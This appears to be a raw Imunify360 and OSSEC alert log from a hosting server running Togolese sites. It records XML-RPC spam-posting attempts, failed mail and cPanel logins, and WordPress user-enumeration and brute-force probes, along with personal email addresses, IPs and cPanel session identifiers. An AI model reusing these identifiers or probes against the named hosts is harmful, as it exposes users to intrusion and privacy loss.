IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:564677df3bcfe7ae4981526557f08c73824e4097||Title:rbjwfri0aiyy93b9||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:23412c98eeaadbb963c6e224c9f20b2c90b98d8e||Title:pfab2i3zw5uj0uac05||RSV:8.21||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - e.senahounvo@davakconsulting.com [07/01/2026:10:17:30 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: e.senahounvo@davakconsulting.com


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.207.165.154
country_id: 2363686
description:
[2026-07-01 10:17:26 +0000] info [cpaneld] 41.207.165.154 - bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.145.128.226
country_id: 294640
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:45.145.128.226||TA:45.145.128.226||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:904a2220b9bbba00b0bd0e154da8fe8c8ebdddab||Title:j7hnm9h7ywvw6z4e||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.170.49.95
country_id: 2363686
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:POST /wp-content/plugins/matomo/app/matomo.php?action_name=Togo: la Direction de la Nationalit\xc3\xa9\xc2\xa0 a officiellement\xc2\xa0 lanc\xc3\xa9\xc2\xa0 sa plateforme digitalis\xc3\xa9e \xe2\x80\x93 Corps Diplomatic News&idsite=1&rec=1&r=283833&h=10&m=17&s=59&url=https:/corpsdiplomaticnews.tg/index.php/2024/12/15/togo-la-direction-de-la-nationalite-a-officiellement-lance-sa-plateforme-digitalisee/#google_vignette&urlref=https:/www.google.com/&_id=ba4930d28973aaad&_idn=0&send_image=0&_refts=1782901079&_ref=https:/www.google.com/&pv_id=iXPV0s&pf_net=2356&pf_srv=3049&pf_tfr=2423&uadata={\"formFactors\":[\"Mobile\


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:583eca38e8ef456fbc3371087114677b520550a2||Title:kmsz4m6dbmzrqr||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:75b2bc817890c40826214b6b6c02983fdc994a5d||Title:2whqildbrdst3ita||RSV:8.21||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - magbekponou@davakconsulting.com [07/01/2026:10:19:06 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: magbekponou@davakconsulting.com


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e98fd963668d031ba9783b02473ce6529cdac977||Title:s0wuijixn0b65nn3t||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c17f2d9535f8c0a26c6b5b6903cc72709c1f244a||Title:02ekuilp3zvnypli4||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.66.202
country_id: 2363686
description:
[2026-07-01 10:19:51 +0000] info [webmaild] 196.170.66.202 - ndadia.ev@inger.tg "GET /cpsess0144120819/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bb3b68cc034afbb5a6ad12c72c5398f1c69fa1b6||Title:olpdwl1xrys1cc||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.207
country_id: 1880251
description:
47.128.96.207 - - [01/Jul/2026:10:20:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12740971&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-lome-container-terminal-lct-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782901238 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-lome-container-terminal-lct-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.207


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:31dc76d7e0d5d936e9e138d7e0c4f253ec679926||Title:kogjaln9tcrzwih4py||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.234.42
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:butodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1fc072ad11f2bb236c670fa4f22ec151d20bc9c1||Title:9x73hu7a8askgo||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3e289fe104d5cdecef5bb1127bf5d97ac7c963de||Title:c7pv32itdy3s1ka||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.168.26.122
country_id: 2363686
description:
2026-07-01 10:21:12 H=([192.168.10.3]) [196.168.26.122]:62216 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 F=<centif.de@centif.tg> A=dovecot_plain:centif.de@centif.tg rejected RCPT <batebana.passi@laposte.tg>: Unrouteable address


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:957901d01a200a818a415eb387262e62bd791422||Title:dfvgjbrm03s2e3||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.168.26.122
country_id: 2363686
description:
2026-07-01 10:22:10 H=([192.168.10.3]) [196.168.26.122]:62220 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 F=<centif.de@centif.tg> A=dovecot_plain:centif.de@centif.tg rejected RCPT <batebana.passi@laposte.tg>: Unrouteable address


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.213.170
country_id: 2363686
description:
[2026-07-01 10:22:54 +0000] info [webmaild] 196.168.213.170 - ldaro@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [160.242.195.10] != Current IP Address [196.168.213.170]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:92b3b75efd1da9df5978a3bf7557d4e877281993||Title:84h4bpdl2l09w0||RSV:8.21||T:APACHE||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - ingersarlu@inger.tg [07/01/2026:10:23:35 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: ingersarlu@inger.tg


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:24:37 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:36328: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [01/Jul/2026:10:24:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790041&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782901496 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.114.170.200
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=710 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.49.136
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=21 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.174.145.129
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?tag=auto-producteurs HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.72.15.72
country_id: 3895114
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1609 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b5b8da986db6926c8f938111c4e4047988581844||Title:p2d74mif9zr1aajx||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.82.253.109
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?feed=rss2&cat=46 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.179.35.94
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1793 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.70.187
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=686 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [01/Jul/2026:10:25:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7249042&pdata=http%253A%252F%252Fdavetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782901504 HTTP/1.1" 302 0 davetechno.tg "http://davetechno.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:25:45 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:37508: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a44c38b112335785fd6f08c478b3c7023cf63d1d||Title:e6ogzz48k16toj4g2||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a99cdfcc1d712a1b88cc2de6c0537c3109c94cb8||Title:725wbn9lkw5giesw2||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.253
country_id: 2363686
description:
2026-07-01 10:27:15 dovecot_login authenticator failed for H=(Yoga) [102.64.145.253]:57010: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2519e942b194e6392938a5f9648dc54e96d13bdd||Title:4wqbecwiqhzld1w||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:28:15 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:37676: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:15cc8c2bf2f912419624c3f6c003fa8fd7e6f99d||Title:fp7ftf1r3cne47w7||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.253
country_id: 2363686
description:
2026-07-01 10:28:26 dovecot_login authenticator failed for H=(Yoga) [102.64.145.253]:54231: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:29:30 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:56822: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:04a91bce75d52e483a7132e88c1c973164fdaf2e||Title:ug6hc1ef880f0b||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:874a69de475535a6fb60c2fb47d02e007f455f5b||Title:c6byizkznwb2exq||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.253
country_id: 2363686
description:
2026-07-01 10:30:23 dovecot_login authenticator failed for H=(Yoga) [102.64.145.253]:58498: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.169.14.175
country_id: 2363686
description:
[2026-07-01 10:30:35 +0000] info [cpaneld] 196.169.14.175 NEW waywcbyw:tFNGjmXz8apuiR2P address=196.169.14.175,app=cpaneld,creator=waywcbyw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:30:52 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:49542: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - rahim.nadaabi@tchambainvest.tg [07/01/2026:10:31:03 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: rahim.nadaabi@tchambainvest.tg


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:55574f68474d5b39e403a6d001cb73c93df3d109||Title:tkkjs2l72xhurki||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.145.253
country_id: 2363686
description:
2026-07-01 10:32:22 dovecot_login authenticator failed for H=(Yoga) [102.64.145.253]:65473: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:013be91aa976b67b4c5a9b91739ab766e2e9ba25||Title:xpuj0r43wqvifydzx||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.170.236.133
country_id: 2363686
description:
[2026-07-01 10:33:12 +0000] info [cpaneld] 196.170.236.133 NEW jvrzfkho:dDvAhcyAmc9ih2GO address=196.170.236.133,app=cpaneld,creator=jvrzfkho,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:33:56 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:36696: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:da90327fe763a73daa6ec0da80cca7e2422a2414||Title:lf296y6plgpebaw||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.177.246.39
country_id: 1269750
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:42a6def3f1e645dae4651f53b9e240ef7d30dc98||Title:pgs5lavbt5h8xrx5oc||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:35:59 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:55552: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 59.103.106.183
country_id: 1168579
description:
59.103.106.183 - - [01/Jul/2026:10:35:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248020&pdata=https%253A%252F%252Fcfpj.tg%252Fyedk-111067jetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782902147 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/yedk-111067jetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:59.103.106.183


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 94.26.106.16
country_id: 2921044
description:
[2026-07-01 10:36:25 +0000] info [cpaneld] 94.26.106.16 NEW libertepansel:jPX0ViHYrBT7BKF2 address=94.26.106.16,app=cpaneld,creator=libertepansel,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 41.207.165.154
country_id: 2363686
description:
[2026-07-01 10:37:11 +0000] info [cpaneld] 41.207.165.154 NEW bighostingsnbd:nPT6Dsz43rEfLkA8 address=41.207.165.154,app=cpaneld,creator=bighostingsnbd,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.164.177
country_id: 2363686
description:
[2026-07-01 10:37:08 +0000] info [webmaild] 102.64.164.177 - contact@daula.tg "GET /cpsess3391607745/3rdparty/roundcube/?_task=settings&_action=plugin.managesieve HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.64.152.216] != Current IP Address [102.64.164.177]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:39:16 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:52384: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:41:43 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:57550: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.252.55.232
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:162.252.55.232||TA:162.252.55.232||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
description:
[2026-07-01 10:43:42 +0000] info [cpaneld] 80.248.64.198 -  bighostingsnbd "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.238.28.29
country_id: 1819730
domain: sthandling-aero.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sthandling-aero.tg/wp-content/uploads/2017/07/home_media_number_6.png HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.163.110.27
country_id: 1880251
description:
43.163.110.27 - - [01/Jul/2026:10:46:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9606545&pdata=https%253A%252F%252Fruralinfos.tg%252Fagritech%252Fbientot-un-catalogue-des-organismes-nuisibles-reglementes-du-togo-a-disposition-des-inspecteurs-phytosanitaires-et-autres-acteurs%252F%253Fshare%253Djetpack-whatsapp&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782902808 HTTP/2.0" 302 0 ruralinfos.tg "https://ruralinfos.tg/agritech/bientot-un-catalogue-des-organismes-nuisibles-reglementes-du-togo-a-disposition-des-inspecteurs-phytosanitaires-et-autres-acteurs/?share=jetpack-whatsapp" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.163.110.27


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL track
abuser: 35.185.19.119
country_id: 6252001
domain: soeurndetogo.com
description:
IM360 WAF: WordPress Bruteforce RBL track||Name:||WPU:||User:frtwilql||Script:/home/frtwilql/public_html/xmlrpc.php||RSV:8.22||T:APACHE||MV:/xmlrpc.php||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 35.185.19.119
country_id: 6252001
domain: soeurndetogo.com
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 35.185.19.119
country_id: 6252001
domain: dgdn-togo.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.22||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:49:05 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:43652: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 10:50:14 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:55394: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.122.204
country_id: 1880251
domain: fbafrica.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.17.84
country_id: 6251999
description:
[2026-07-01 10:51:28 +0000] info [whostmgrd] 195.63.17.84 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.100.59.1
country_id: 1831722
description:
2026-07-01 10:51:40 dovecot_plain authenticator failed for H=([192.168.1.7]) [175.100.59.1]:13077: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 34.73.241.160
country_id: 6252001
domain: dankpen1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-includes/id3/license.txt/wp-json/wp/v2/users/||


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL track
abuser: 34.73.241.160
country_id: 6252001
domain: dankpen1.mairie.tg
description:
IM360 WAF: WordPress Bruteforce RBL track||Name:||WPU:||User:rbnbkmre||Script:/home/rbnbkmre/public_html/wp-includes/id3||RSV:8.22||T:APACHE||MV:/wp-includes/id3/license.txt/xmlrpc.php||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 87.106.77.124
country_id: 2921044
domain: togomedia24.tg
description:
